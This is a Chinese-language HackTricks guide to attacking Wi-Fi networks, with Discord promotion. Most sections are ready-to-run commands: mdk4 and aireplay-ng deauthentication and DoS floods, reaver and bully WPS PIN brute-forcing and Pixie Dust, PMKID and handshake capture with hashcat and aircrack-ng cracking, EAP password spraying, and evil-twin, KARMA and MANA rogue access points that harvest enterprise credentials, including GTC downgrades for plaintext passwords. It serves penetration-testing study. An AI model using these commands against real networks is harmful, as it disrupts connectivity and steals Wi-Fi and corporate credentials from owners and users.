Pentesting Wifi

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

加入HackenProof Discord服务器,与经验丰富的黑客和赏金猎人交流!

黑客见解 参与深入探讨黑客的刺激和挑战的内容

实时黑客新闻 通过实时新闻和见解及时了解快节奏的黑客世界

最新公告 随时了解最新的赏金计划发布和重要平台更新

加入我们的 Discord,立即与顶尖黑客合作!

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis

工具

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

Airgeddon是一个多用途的无线渗透测试工具,具有许多功能,包括无线攻击、WPS攻击、无线密码破解等。

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

使用docker运行airgeddon

docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

wifiphisher

它可以执行恶意双子、KARMA 和已知信标攻击,然后使用钓鱼模板来获取网络真实密码或捕获社交网络凭证。

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

这个工具自动化执行 WPS/WEP/WPA-PSK 攻击。它会自动执行以下操作:

  • 将接口设置为监控模式

  • 扫描可能的网络 - 并让您选择受害者

  • 如果是 WEP - 启动 WEP 攻击

  • 如果是 WPA-PSK

  • 如果是 WPS:Pixie dust 攻击和暴力破解攻击(请注意,暴力破解攻击可能需要很长时间)。请注意,它不会尝试空 PIN 或数据库/生成的 PIN。

  • 尝试捕获来自 AP 的 PMKID 以破解它

  • 尝试使 AP 的客户端断开连接以捕获握手

  • 如果有 PMKID 或握手,尝试使用前 5000 个常用密码进行暴力破解。

攻击摘要

  • DoS

  • 拒绝服务/取消关联 -- 断开所有人的连接(或特定的 ESSID/客户端)

  • 随机虚假 AP -- 隐藏网络,可能导致扫描器崩溃

  • 过载 AP -- 尝试使 AP 崩溃(通常不太有用)

  • WIDS -- 与 IDS 交互

  • TKIP,EAPOL -- 一些特定攻击用于拒绝服务某些 AP

  • 破解

  • 破解 WEP(多种工具和方法)

  • WPA-PSK

  • WPS PIN "暴力破解"

  • WPA PMKID 暴力破解

  • [DoS +] WPA 握手 捕获 + 破解

  • WPA-MGT

  • 用户名捕获

  • 暴力破解 凭据

  • 恶意双胞胎(带或不带 DoS)

  • 开放 恶意双胞胎 [+ DoS] -- 用于捕获强制门户凭据和/或执行局域网攻击

  • WPA-PSK 恶意双胞胎 -- 如果您知道密码,用于网络攻击

  • WPA-MGT -- 用于捕获公司凭据

  • KARMA, MANA, Loud MANA, 已知信标

  • + 开放 -- 用于捕获强制门户凭据和/或执行局域网攻击

  • + WPA -- 用于捕获 WPA 握手

DOS

拒绝服务数据包

来自 这里.

拒绝服务 攻击是 Wi-Fi 黑客中常见的一种方法,涉及伪造“管理”帧以强制将设备从网络中断开。这些未加密的数据包欺骗客户端认为它们来自合法网络,使攻击者能够收集用于破解目的的 WPA 握手或持续干扰网络连接。这种简单而令人震惊的策略被广泛使用,并对网络安全产生重大影响。

使用 Aireplay-ng 进行拒绝服务攻击

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0 表示去认证

  • 1 是要发送的去认证数量(如果需要,可以发送多个);0 表示持续发送

  • -a 00:14:6C:7E:40:80 是接入点的 MAC 地址

  • -c 00:0F:B5:34:30:30 是要去认证的客户端的 MAC 地址;如果省略此项,则发送广播去认证(不总是有效)

  • ath0 是接口名称

解除关联数据包

解除关联数据包,类似于去认证数据包,是 Wi-Fi 网络中使用的一种管理帧。这些数据包用于切断设备(如笔记本电脑或智能手机)与接入点(AP)之间的连接。解除关联和去认证之间的主要区别在于它们的使用场景。当 AP 发出 去认证数据包 以明确从网络中移除恶意设备时,通常在 AP 正在关闭、重新启动或迁移时发送 解除关联数据包,从而需要断开所有连接的节点。

此攻击可通过 mdk4(模式 "d")执行:

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

通过 mdk4 进行更多的 DOS 攻击

这里

攻击模式 b: Beacon Flood 攻击

向客户端发送信标帧以展示虚假的接入点。这有时会导致网络扫描工具甚至驱动程序崩溃!

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

攻击模式 a: 认证拒绝服务

向范围内所有可访问的接入点(AP)发送认证帧可能会使这些AP过载,特别是当涉及大量客户端时。这种强烈的流量可能导致系统不稳定,导致一些AP冻结甚至重置。

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

攻击模式 p: SSID探测和暴力破解

探测接入点(AP)会检查 SSID 是否被正确显示,并确认 AP 的范围。这种技术,结合使用带有或不带有字典的暴力破解隐藏的 SSID,有助于识别和访问隐藏网络。

攻击模式 m: Michael 对策利用

向不同的 QoS 队列发送随机或重复的数据包可能会触发TKIP AP上的 Michael 对策,导致 AP 关闭一分钟。这种方法是一种高效的DoS(拒绝服务)攻击策略。

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

攻击模式 e: EAPOL Start 和 Logoff 数据包注入

通过向接入点(AP)发送大量 EAPOL Start 帧 可以创建 虚假会话,使AP不堪重负,阻塞合法客户端。另一种方法是注入 虚假 EAPOL Logoff 消息 强制断开客户端连接,这两种方法都能有效地干扰网络服务。

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

攻击模式 s: 针对 IEEE 802.11s 网络的攻击

针对网状网络中的链路管理和路由的各种攻击。

攻击模式 w: WIDS 混淆

将客户端交叉连接到多个 WDS 节点或伪造的恶意 AP 可以操纵入侵检测和防护系统,制造混乱并可能导致系统被滥用。

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

攻击模式 f: 数据包模糊器

一个具有多样化数据包来源和全面的数据包操作修改器的数据包模糊器。

Airggedon

Airgeddon 提供了先前评论中提出的大部分攻击:

WPS

WPS(Wi-Fi Protected Setup)简化了将设备连接到路由器的过程,增强了对使用WPAWPA2个人加密网络的设置速度和便捷性。对于易受攻击的WEP安全性来说,WPS是无效的。WPS采用一个由两部分验证的8位数PIN,由于其有限的组合数量(11,000种可能性),容易受到暴力破解攻击的影响。

WPS 暴力破解

有两个主要工具可执行此操作:Reaver 和 Bully。

  • Reaver 被设计为针对WPS的强大实用攻击,并已针对各种接入点和WPS实现进行了测试。

  • Bully 是WPS暴力破解攻击的一个新实现,用C语言编写。它相对于原始的reaver代码具有几个优点:依赖性更少,内存和CPU性能更好,正确处理字节序,以及更强大的选项集。

该攻击利用了WPS PIN的漏洞,特别是其暴露的前四位数字和最后一位数字作为校验和的作用,从而简化了暴力破解攻击。然而,对抗暴力破解攻击的防御措施,如阻止攻击者的MAC地址,需要进行MAC地址轮换以继续攻击。

通过使用类似Bully或Reaver这样的工具获取WPS PIN,攻击者可以推断出WPA/WPA2 PSK,确保持久的网络访问

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

智能暴力破解

这种精细的方法针对使用已知漏洞的WPS PIN:

  1. 预先发现的PIN:利用已知使用统一WPS PIN的特定制造商的PIN数据库。该数据库将MAC地址的前三个八位字节与这些制造商的可能PIN相关联。

  2. PIN生成算法:利用ComputePIN和EasyBox等算法,根据AP的MAC地址计算WPS PIN。Arcadyan算法还需要设备ID,为PIN生成过程增加了一层。

WPS Pixie Dust攻击

Dominique Bongard发现了一些接入点(AP)在创建秘密代码(称为nonceE-S1E-S2))方面存在缺陷。如果这些nonce可以被破解,破解AP的WPS PIN就变得容易。AP通过特殊代码(哈希)显示PIN,以证明其合法性,而不是伪造(恶意)AP。这些nonce本质上是解锁保存WPS PIN的“保险柜”的“钥匙”。更多信息请参阅这里

简单来说,问题在于一些AP在连接过程中未使用足够随机的密钥加密PIN。这使得PIN容易受到外部网络(离线暴力破解攻击)的猜测。

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

如果您不想将设备切换到监控模式,或者reaverbully存在问题,您可以尝试OneShot-C。这个工具可以执行 Pixie Dust 攻击,而无需切换到监控模式。

./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37

空 Pin 攻击

一些设计不良的系统甚至允许空 PIN(空白或不存在的 PIN)授予访问权限,这是相当不寻常的。工具Reaver能够测试这种漏洞,而Bully则不能。

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

所有提出的WPS攻击都可以通过 airgeddon 轻松执行。

  • 步骤 5 和 6 允许您尝试 您自定义的PIN(如果有的话)

  • 步骤 7 和 8 执行 Pixie Dust 攻击

  • 步骤 13 允许您测试 NULL PIN

  • 步骤 11 和 12 将从可用数据库中 重新收集与所选AP相关的PIN 并使用以下方式生成可能的 PIN:ComputePIN、EasyBox 和可选的 Arcadyan(推荐,为什么不呢?)

  • 步骤 9 和 10 将测试 每个可能的PIN

WEP

现在已经破解并不再使用。只需知道 airgeddon 有一个名为“全能”(All-in-One)的 WEP 选项来攻击这种保护。更多工具提供类似的选项。


加入 HackenProof Discord 服务器,与经验丰富的黑客和漏洞赏金猎人交流!

黑客见解 参与深入探讨黑客的刺激和挑战的内容

实时黑客新闻 通过实时新闻和见解了解快节奏的黑客世界

最新公告 了解最新的漏洞赏金发布和重要平台更新

加入我们的 Discord 并开始与顶尖黑客合作!


WPA/WPA2 PSK

PMKID

2018年,hashcat 揭示 了一种新的攻击方法,独特之处在于它只需要 一个数据包,并且不需要任何客户端连接到目标AP,只需要攻击者与AP之间的交互。

许多现代路由器在关联期间的第一个 EAPOL 帧中添加了一个 可选字段,称为 Robust Security Network。其中包括 PMKID

正如原始帖子所解释的那样,PMKID 是使用已知数据创建的:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

给定“PMK名称”是恒定的,我们知道AP和站点的BSSID,并且PMK与完整的4路握手中的相同,hashcat可以使用此信息来破解PSK并恢复密码!

收集此信息并在本地暴力破解密码,您可以执行:

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

捕获到的PMKIDs将显示在控制台中,并且也会保存在 _/tmp/attack.pcap_ 现在,将捕获的内容转换为hashcat/john格式并进行破解:

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

请注意,正确的哈希格式包含4部分,如:4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838。如果您的哈希值只包含3部分,那么它是无效的(PMKID捕获无效)。

请注意,hcxdumptool也会捕获握手(类似于这样的内容将出现:MP:M1M2 RC:63258 EAPOLTIME:17091)。您可以使用cap2hccapx握手转换为hashcat/john格式。

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

我注意到有些用这个工具捕获的握手即使知道正确密码也无法破解。我建议如果可能的话,也通过传统方式捕获握手,或者使用这个工具捕获多个握手。

捕获握手

WPA/WPA2网络的攻击可以通过捕获握手并尝试离线破解密码来执行。这个过程涉及监视特定网络和BSSID在特定信道上的通信。以下是简化的指南:

  1. 确定目标网络的BSSID信道已连接客户端

  2. 使用airodump-ng来监视指定信道和BSSID上的网络流量,希望捕获握手。命令如下:

airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
  1. 为了增加捕获握手的机会,暂时断开客户端与网络的连接,强制重新认证。可以使用 aireplay-ng 命令来实现,该命令向客户端发送去认证数据包:

aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

注意,由于客户端被去认证,它可能会尝试连接到不同的AP,或者在其他情况下,连接到不同的网络。

一旦airodump-ng中出现了一些握手信息,这意味着握手已被捕获,您可以停止监听:

一旦握手被捕获,您可以使用aircrack-ng破解

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

检查文件中是否存在握手包

aircrack

aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty

cowpatty -r psk-01.cap -s "ESSID" -f -

如果此工具在找到 ESSID 的完整握手之前找到了未完成的握手,它将无法检测到有效的握手。

pyrit

apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

WPA企业(MGT)

企业WiFi设置中,您将遇到各种认证方法,每种方法提供不同的安全级别和管理功能。当您使用诸如airodump-ng之类的工具检查网络流量时,您可能会注意到这些认证类型的标识符。一些常见的方法包括:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
  1. EAP-GTC (通用令牌卡):

  • 该方法支持硬件令牌和EAP-PEAP中的一次性密码。与MSCHAPv2不同,它不使用对等挑战,并将密码以明文形式发送到接入点,存在降级攻击的风险。

  1. EAP-MD5 (消息摘要 5):

  • 包括从客户端发送密码的MD5哈希。由于容易受到字典攻击的漏洞、缺乏服务器认证以及无法生成特定会话的WEP密钥,不建议使用该方法。

  1. EAP-TLS (传输层安全):

  • 利用客户端和服务器端证书进行身份验证,并可动态生成基于用户和会话的WEP密钥以保护通信。

  1. EAP-TTLS (隧道传输层安全):

  • 通过加密隧道提供相互认证,同时提供一种方法来生成动态的、每个用户、每个会话的WEP密钥。它仅需要服务器端证书,客户端使用凭据。

  1. PEAP (受保护的可扩展认证协议):

  • 通过为受保护的通信创建TLS隧道,类似于EAP的功能。由于隧道提供的保护,它允许在EAP之上使用较弱的身份验证协议。

  • PEAP-MSCHAPv2:通常称为PEAP,它将易受攻击的MSCHAPv2挑战/响应机制与保护性的TLS隧道结合在一起。

  • PEAP-EAP-TLS(或PEAP-TLS):类似于EAP-TLS,但在交换证书之前启动TLS隧道,提供额外的安全层。

您可以在这里这里找到有关这些身份验证方法的更多信息。

用户名捕获

阅读https://tools.ietf.org/html/rfc3748#page-27后,如果您正在使用EAP,则必须支持**“Identity”消息**,并且用户名将在**“Response Identity”消息中以明文**形式发送。

即使使用最安全的身份验证方法之一:PEAP-EAP-TLS,也可以捕获在EAP协议中发送的用户名。为此,捕获身份验证通信(在一个信道内启动airodump-ng,在同一接口上启动wireshark)并通过eapol筛选数据包。 在“Response, Identity”数据包中,将显示客户端的用户名

匿名身份

EAP-PEAP和EAP-TTLS都支持身份隐藏。在WiFi网络的背景下,EAP-Identity请求通常由接入点(AP)在关联过程中发起。为确保用户匿名性的保护,来自用户设备上的EAP客户端的响应仅包含初始RADIUS服务器处理请求所需的基本信息。通过以下场景说明了这一概念:

  • EAP-Identity = 匿名

  • 在此场景中,所有用户都使用“匿名”作为其用户标识符。初始RADIUS服务器充当EAP-PEAP或EAP-TTLS服务器,负责管理PEAP或TTLS协议的服务器端。然后,内部(受保护的)身份验证方法在本地处理或委托给远程(家庭)RADIUS服务器。

  • EAP-Identity = 匿名@realm_x

  • 在这种情况下,来自不同领域的用户隐藏其身份,同时指示各自的领域。这使得初始RADIUS服务器可以将EAP-PEAP或EAP-TTLS请求代理到其家庭领域中的RADIUS服务器,后者充当PEAP或TTLS服务器。初始RADIUS服务器仅充当RADIUS中继节点。

  • 或者,初始RADIUS服务器可以充当EAP-PEAP或EAP-TTLS服务器,并处理受保护的身份验证方法或将其转发到另一台服务器。此选项有助于为不同领域配置不同策略。

在EAP-PEAP中,一旦建立了PEAP服务器和PEAP客户端之间的TLS隧道,PEAP服务器会发起EAP-Identity请求,并通过TLS隧道传输。客户端会通过加密隧道发送包含用户真实身份的第二个EAP-Identity响应来回应这个EAP-Identity请求。这种方法有效地防止了任何窃听802.11流量的人揭示用户的实际身份。

EAP-TTLS遵循稍微不同的过程。使用EAP-TTLS,客户端通常使用PAP或CHAP进行身份验证,由TLS隧道保护。在这种情况下,客户端在隧道建立后发送的初始TLS消息中包含一个User-Name属性和一个Password或CHAP-Password属性。

无论选择哪种协议,PEAP/TTLS服务器在建立TLS隧道后获取用户的真实身份。真实身份可以表示为user@realm或仅为user。如果PEAP/TTLS服务器还负责对用户进行身份验证,则现在拥有用户的身份并继续使用TLS隧道保护的身份验证方法。或者,PEAP/TTLS服务器可以向用户的家庭RADIUS服务器转发一个新的RADIUS请求。这个新的RADIUS请求省略了PEAP或TTLS协议层。在受保护的身份验证方法为EAP的情况下,内部EAP消息将被传输到家庭RADIUS服务器,而不包含EAP-PEAP或EAP-TTLS包装。传出RADIUS消息的User-Name属性包含用户的真实身份,替换了传入RADIUS请求中的匿名User-Name。当受保护的身份验证方法为PAP或CHAP(仅由TTLS支持)时,从TLS负载中提取的User-Name和其他身份验证属性将替换传入RADIUS请求中找到的匿名User-Name和TTLS EAP-Message属性。

有关更多信息,请查看https://www.interlinknetworks.com/app_notes/eap-peap.htm

EAP-暴力破解(密码喷洒)

如果客户端预计使用用户名和密码(请注意,在这种情况下EAP-TLS将无效),那么您可以尝试获取用户名列表(请参见下一部分)和密码,并尝试使用air-hammer****进行访问的暴力破解

./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

你也可以使用 eaphammer 进行这种攻击:

./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

客户端攻击理论

网络选择和漫游

  • 802.11协议定义了一个站点如何加入扩展服务集(ESS),但没有指定选择ESS或其中的接入点(AP)的标准。

  • 站点可以在共享相同ESSID的AP之间漫游,跨建筑物或区域保持连接。

  • 该协议要求站点对ESS进行身份验证,但不要求AP对站点进行身份验证。

首选网络列表(PNLs)

  • 站点将连接到的每个无线网络的ESSID存储在其首选网络列表(PNL)中,以及网络特定的配置详细信息。

  • PNL用于自动连接到已知网络,通过简化连接过程来改善用户体验。

被动扫描

  • AP定期广播信标帧,宣布其存在和特性,包括AP的ESSID,除非禁用广播。

  • 在被动扫描期间,站点监听信标帧。如果信标的ESSID与站点的PNL中的条目匹配,站点可能会自动连接到该AP。

  • 知道设备的PNL可以通过模仿已知网络的ESSID来潜在地利用,欺骗设备连接到伪造的AP。

主动探测

  • 主动探测涉及站点发送探测请求以发现附近的AP及其特征。

  • 定向探测请求针对特定的ESSID,有助于检测特定网络是否在范围内,即使是隐藏网络也可以。

  • 广播探测请求具有空的SSID字段,并发送给所有附近的AP,让站点检查任何首选网络而不透露其PNL内容。

简单的重定向至互联网的AP

在解释如何执行更复杂的攻击之前,将解释如何仅创建一个AP并将其流量重定向到连接到互联网的接口。

使用ifconfig -a检查用于创建AP的wlan接口和连接到互联网的接口是否存在。

DHCP和DNS

apt-get install dnsmasq #Manages DHCP and DNS

创建配置文件 /etc/dnsmasq.conf

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

然后设置IP路由

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

然后 启动 dnsmasq:

dnsmasq -C dnsmasq.conf -d

hostapd

hostapd

apt-get install hostapd

创建一个配置文件 hostapd.conf

interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

停止烦人的进程,设置监控模式,然后启动hostapd

airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

转发和重定向

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

恶意孪生者

恶意孪生者攻击利用WiFi客户端识别网络的方式,主要依赖网络名称(ESSID),而无需基站(接入点)向客户端进行身份验证。关键点包括:

  • 难以区分:当它们共享相同的ESSID和加密类型时,设备很难区分合法和伪造的接入点。现实世界中的网络通常使用多个具有相同ESSID的接入点,以无缝扩展覆盖范围。

  • 客户端漫游和连接操纵:802.11协议允许设备在相同ESS内的接入点之间漫游。攻击者可以利用这一点,诱使设备断开与当前基站的连接并连接到伪造的基站。这可以通过提供更强的信号或通过去认证数据包或干扰的方式中断与合法接入点的连接来实现。

  • 执行中的挑战:在具有多个位置良好的接入点的环境中成功执行恶意孪生者攻击可能具有挑战性。除非攻击者能够去认证所有附近的接入点或策略性地放置伪造的接入点,否则去认证单个合法接入点通常会导致设备连接到另一个合法接入点。

airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

您还可以使用 eaphammer 创建一个恶意双子AP(请注意,使用eaphammer创建恶意双子AP时,接口不应该处于监控模式):

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

或者使用Airgeddon:选项:5,6,7,8,9(在恶意双胞胎攻击菜单中)。

请注意,默认情况下,如果PNL中的ESSID保存为WPA受保护,则设备不会自动连接到开放的恶意双胞胎。您可以尝试对真实AP进行DoS攻击,并希望用户手动连接到您的开放恶意双胞胎,或者您可以对真实AP进行DoS攻击并使用WPA恶意双胞胎来捕获握手(使用此方法,您将无法让受害者连接到您,因为您不知道PSK,但您可以捕获握手并尝试破解它)。

一些操作系统和防病毒软件会警告用户连接到开放网络是危险的...

WPA/WPA2恶意双胞胎

您可以创建一个使用WPA/2的恶意双胞胎,如果设备已配置为使用WPA/2连接到该SSID,它们将尝试连接。无论如何,要完成4次握手,您还需要知道客户端将使用的密码。如果您不知道密码,连接将无法完成

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

企业级恶意孪生

要了解这些攻击,我建议先阅读简要的WPA企业解释

使用hostapd-wpe

hostapd-wpe需要一个配置文件才能工作。要自动化生成这些配置,您可以使用https://github.com/WJDigby/apd_launchpad(下载python文件到 /etc/hostapd-wpe/)。

./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

在配置文件中,您可以选择许多不同的内容,如SSID、频道、用户文件、证书/密钥、DH参数、WPA版本和认证...

使用hostapd-wpe与EAP-TLS,允许任何证书登录。

使用EAPHammer

# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

默认情况下,EAPHammer使用这些认证方法(请注意,首先尝试获取明文密码的是GTC,然后使用更强大的认证方法):

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

这是避免长连接时间的默认方法。但是,您也可以指定服务器的认证方法从最弱到最强:

--negotiate weakest

或者你也可以使用:

  • 使用--negotiate gtc-downgrade来使用高效的GTC降级实现(明文密码)

  • 使用--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP来手动指定提供的方法(以与组织相同顺序提供相同的认证方法,攻击将更难被检测)。

使用Airgeddon

Airgeddon可以使用先前生成的证书来为WPA/WPA2企业网络提供EAP身份验证。虚假网络将将连接协议降级为EAP-MD5,以便捕获用户和密码的MD5。稍后,攻击者可以尝试破解密码。 Airggedon为您提供了**连续的恶意双子攻击(嘈杂)仅在有人连接时创建恶意攻击(平稳)**的可能性。

在恶意双子攻击中调试PEAP和EAP-TTLS TLS隧道

此方法在PEAP连接中进行了测试,但由于我正在解密一个任意的TLS隧道,因此这也适用于EAP-TTLS

在_hostapd-wpe_的配置注释包含dh_file的行(从dh_file=/etc/hostapd-wpe/certs/dh#dh_file=/etc/hostapd-wpe/certs/dh) 这将使hostapd-wpe使用RSA交换密钥,而不是DH,因此您将能够稍后知道服务器的私钥解密流量。

现在像往常一样使用修改后的配置启动恶意双子使用**hostapd-wpe。同时,在执行恶意双子攻击的接口上启动wireshark**。

现在或稍后(当您已经捕获了一些认证意图时),您可以在Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...中向wireshark添加私有RSA密钥。

添加一个新条目并填写以下值:IP地址 = any -- 端口 = 0 -- 协议 = data -- 密钥文件选择您的密钥文件,为避免问题,请选择一个没有密码保护的密钥文件)。

并查看新的**"解密的TLS"标签**:

KARMA、MANA、Loud MANA和已知信标攻击

ESSID和MAC黑/白名单

不同类型的媒体访问控制过滤列表(MFACLs)及其对恶意接入点(AP)行为的模式和影响:

  1. 基于MAC的白名单

  • 恶意AP将仅对白名单中指定的设备的探测请求做出响应,对所有未列出的设备保持不可见。

  1. 基于MAC的黑名单

  • 恶意AP将忽略黑名单中设备的探测请求,有效地使恶意AP对这些特定设备不可见。

  1. 基于ESSID的白名单

  • 恶意AP将仅对列出的特定ESSID的探测请求做出响应,使其对不包含这些ESSID的首选网络列表(PNLs)的设备不可见。

  1. 基于ESSID的黑名单

  • 恶意AP将不对黑名单中特定ESSID的探测请求做出响应,使其对寻找这些特定网络的设备不可见。

# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

这种方法允许攻击者创建一个恶意接入点(AP),它会响应所有寻找连接网络的设备的探测请求。这种技术通过模仿设备正在搜索的网络,欺骗设备连接到攻击者的AP。一旦设备向这个恶意AP发送连接请求,它就会完成连接,导致设备错误地连接到攻击者的网络。

MANA

随后,设备开始忽略未经请求的网络响应,降低了原始karma攻击的有效性。然而,Ian de Villiers和Dominic White引入了一种新方法,称为MANA攻击。这种方法涉及恶意AP通过响应设备的广播探测请求来捕获设备的首选网络列表(PNL),并提供设备之前请求过的网络名称(SSID)。这种复杂的攻击通过利用设备记住和优先考虑已知网络的方式,绕过了原始karma攻击的保护措施。

MANA攻击通过监视设备的定向和广播探测请求来运作。对于定向请求,它记录设备的MAC地址和请求的网络名称,并将这些信息添加到列表中。当接收到广播请求时,AP会回复与设备列表中任何网络匹配的信息,诱使设备连接到恶意AP。

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

喧闹的MANA

喧闹的MANA攻击是一种高级策略,用于当设备不使用定向探测或者它们的首选网络列表(PNL)对攻击者来说是未知的情况。它的操作原理是同一区域的设备很可能在它们的PNL中共享一些网络名称。与有选择性地响应不同,这种攻击会针对所有观察到的设备的组合PNL中找到的每个网络名称(ESSID)广播探测响应。这种广泛的方法增加了设备识别熟悉网络并尝试连接到恶意接入点(AP)的机会。

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

已知信标攻击

Loud MANA攻击可能不够时,已知信标攻击提供了另一种方法。该方法通过模拟一个响应任何网络名称的AP,循环遍历从字典中获取的潜在ESSID列表,从而强制连接过程。这会模拟存在大量网络的情况,希望能够匹配受害者PNL中的一个ESSID,促使连接尝试连接到虚假的AP。该攻击可以通过与--loud选项结合使用,以更积极地尝试诱捕设备。

